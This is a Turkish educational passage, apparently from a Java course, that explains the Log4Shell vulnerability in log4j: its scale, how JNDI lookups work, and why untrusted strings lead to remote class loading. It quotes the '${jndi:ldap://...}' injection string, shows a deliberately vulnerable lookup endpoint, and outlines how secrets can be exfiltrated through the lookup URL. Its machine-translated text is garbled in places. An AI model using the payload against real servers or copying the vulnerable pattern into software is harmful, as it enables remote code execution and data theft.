7.1 Skandal

Ve elbette, oldukça yakın bir zamanda - 2021'in sonunda - yaşanan hikayeyi anlatmamak imkansız.

Log4Shell

ABD Siber Güvenlik ve Altyapı Koruma Dairesi (CISA), sorunun Log4Shelltarihteki en ciddi güvenlik açıklarından biri olduğunu söyledi. Evet, favori kütüphanemizden bahsediyoruz log4j.

Şirin küçük kitaplığımız log4j ve tarihteki en büyük güvenlik açığı ? İlginizi mi çekti? O zaman dinle.

7.2 Felaketin ölçeği

Kritik bir güvenlik açığının (kod CVE-2021-44228) keşfedildiği, Log4Shell9 Aralık 2021'de Lunasec güvenlik uzmanları tarafından duyuruldu. Apache Güvenlik Ekibi Java topluluğundan uzmanlar bu bilgiyi doğruladı ve savunmasız Java kitaplıklarının bir listesini yayınladı. Liste çok büyüktü.

Bir Java projesi bir kitaplık kullanıyorsa log4j, oldukça kolay bir şekilde saldırıya uğrayabilir. JavaGüvenlik uzmanlarına göre, neredeyse tüm sunucu yazılımlarının en popüler java logger'da yazıldığı göz önüne alındığında log4j, güvenlik açığı kurumsal bulut ortamlarının %93'ünü etkiledi. Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam ve çok daha fazlası dahil

Üstelik güvenlik açığı, yalnızca sunucu yazılımlarını değil, birçok Java uygulamasını ve donanım üreticilerini de etkiledi. Örneğin Intel, hacklenebilir 32 programın bir listesini yayınladı: SDK'lar, sunucu bakım sistemleri, Linux araçları.

Nvidia ayrıca DGX sunucularından ve NetQ araçlarından bahseden bir güvenlik sorunu raporu yayınladı. Apple ve Microsoft tarafından acilen bir dizi güncelleme yayınlandı.

Kabaca söylemek gerekirse, bir öğrencinin tarayıcısının adres çubuğundaki bir satır, bu satır kaydedici tarafından yenilirse sunucuyu yerleştirir (birçok sunucuda, her şey günlüğe kaydedilir HTTP-requests).

Kodu analiz ettikten sonra, güvenlik açığının 2013'ten beri kütüphanede oturduğu ortaya çıktı, ancak ancak şimdi fark ettiler. Ve daha derine inmeye başladıklarında, dibi hiç görünmeyen bir uçurum keşfettiler.

7.3 Tarihteki en ciddi güvenlik açığı

Aralık 2021'de ABD Siber Güvenlik ve Altyapı Koruma Dairesi (CISA), bunun tarihteki en ciddi güvenlik açıklarından biri olduğunu belirtmişti .Log4Shell

Diğer birçok uzman da benzer bir görüş belirtiyor . Herkes bu güvenlik açığını biliyor ve her yaştan bilgisayar korsanı, kişisel verileri çalmak ve çeşitli kuruluşlara yönelik diğer saldırı türlerini şimdiden kullanıyor. Gelecekte, büyük bir bilgisayar korsanlığı ve veri sızıntısı dalgasını bekliyoruz.

Log4j hakkında memler içeren ayrı bir site olduğu ve her gün yeni resimler çıktığı gerçeğiyle bile felaketin ölçeği ölçülebilir .

Bu sorun uzun süredir bizimle. Yüz milyonlarca olmasa da milyonlarca bilgisayar sisteminde bir güvenlik açığı. Tüm eski yazılımların güncellenmesi ve en azından bu kitaplığı orada değiştirmesi gerekiyor. Ancak çoğu durumda, yazılımlarında hangi kitaplıkların ve hangi sürümlerin kullanıldığını kimse bilemez.

Genel olarak, bilgisayar güvenlik uzmanlarının maaşlarında keskin bir artış bekliyoruz.

7.4 Güvenlik açığının doğası

Güvenlik açığının özünü anlamak için, büyük sunucu sistemlerinin nasıl düzenlendiğini anlamanız gerekir. Genellikle bu tür sunucu uygulamaları, farklı sunucularda bulunan farklı hizmetlere bölünür. Ve JNDI hizmeti onların etkileşime girmesine yardımcı olur.

Java Adlandırma ve Dizin Arayüzü (JNDI),Java API nesneleri/hizmetleri ada göre aramaktır . Bu nesneler, Uzak Yöntem Çağırma (RMI), Ortak Nesne İstek Aracısı Mimarisi (CORBA), Basit Dizin Erişim Protokolü (LDAP) veya Etki Alanı Adı Hizmeti (DNS) gibi çeşitli adlandırma hizmetlerinde veya dizinlerde saklanabilir.

Onunla çalışmak çok basittir - yalnızca bir dize parametresi alan basit bir tanesidir Java API- hizmetin adı. Bununla birlikte, herhangi bir hizmetle iletişime geçebilir ve ondan bir şeyler yapmasını ve / veya bazı veriler göndermesini isteyebilirsiniz. Örneğin, dize, dizede belirtilenden ${jndi:ldap://example.com/file}veri yükleyecektir .URL

Parametre güvenilmeyen bir kaynaktan geliyorsa, uzaktan sınıf yüklemeye ve üçüncü taraf kod yürütmeye yol açabilir . durumunda ne olur Log4j. Saldırgan, kurbanın Java uygulamasını kötü amaçlı olana yönlendirir rmi/ldap/corba-serverve yanıt olarak kötü amaçlı bir nesne alır.

Teknik olarak buradaki sorun log4jkitaplığın kendisinde değil, JNDI-service. Her zaman ne tür bir dizgeye geçtiğimizi kontrol etmeniz gerekir InitialContext.lookup().

Savunmasız örnek JNDI-applications:

@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 Çok akıllı kitaplık

Ve nereye log4jsoruyorsun? Mesele şu ki, geliştiricileri onunla çalışmayı olabildiğince rahat hale getirmek istediler ve ona akıllı günlük kaydı eklediler. İşte nasıl çalıştığı:

Her şey, günlük mesajlarının verilerin değiştirildiği bir şablon ayarlamanıza izin vermesiyle başladı, örneğin:


log.debug(“User {user} has {count} friends”, user, count);

Veri ikamesi olmayan eski sürüm şuna benziyordu:


log.debug( “User “+user +” has “+ count +” friends”);

2013 yılında, görünüm şablonu tarafından belirtilen akıllı öneklerin değiştirilmesi de kitaplığa eklendi ${prefix:name}. Örneğin, dize “${java:version}”dönüştürülecek «Java version 1.7.0_67». Ah ne kadar uygun.

Tanınan ifadeler arasında, ${jndi:<lookup>}jndi protokolünden sonra şu şekilde bir arama belirtebileceğiniz yer vardır LDAP: rasgele URL-addresssorgulanabilir ve nesne verileri olarak yüklenebilir Java.

Bu, tüm yaklaşımın standart bir sorunudur JDK: bir url biçiminde ayarlanabilecek bir bağlantı olan bir nesneyi otomatik olarak seri durumdan çıkarır. Bu durumda, uzak kaynaktan yalnızca nesnenin verileri değil, aynı zamanda sınıfının kodu da yüklenir.

Hack şöyle görünür:

  • Kötü amaçlı kod içeren bir dosyayı indirme
  • Java an objectDosya serileştirilmiş (ve onun sınıfını) içerir
  • sınıf yükleniyorJava-machine
  • Kötü amaçlı bir sınıfın nesnesi oluşturulur
  • Nesnenin yapıcısı çağrılır
  • Hem yapıcı hem de statik başlatma, kötü amaçlı sınıf kodunun yürütülmesine izin verir

Günlüğe kaydedilmekte olan satırda log4jbuna benzer bir şey varsa ${jndi:ldap://example.com/file}, o zaman internete bağlanırken log4jbundan veri indirecektirURL-address . Saldırgan, günlüğe kaydedilen bir dize girerek, genel bir URL-address.

Veri yürütme devre dışı bırakılsa bile, bir saldırgan, gizli ortam değişkenleri gibi verileri, yerini alacak URL-addressve saldırganın sunucusuna gönderecek olan bir .__ içine yerleştirerek elde edebilir.

İyi haber şu ki, problem kütüphanede hızla çözüldü .

Kötü haber şu ki, dünyadaki milyonlarca sunucu hala bu kütüphanenin eski sürümünü çalıştırıyor ...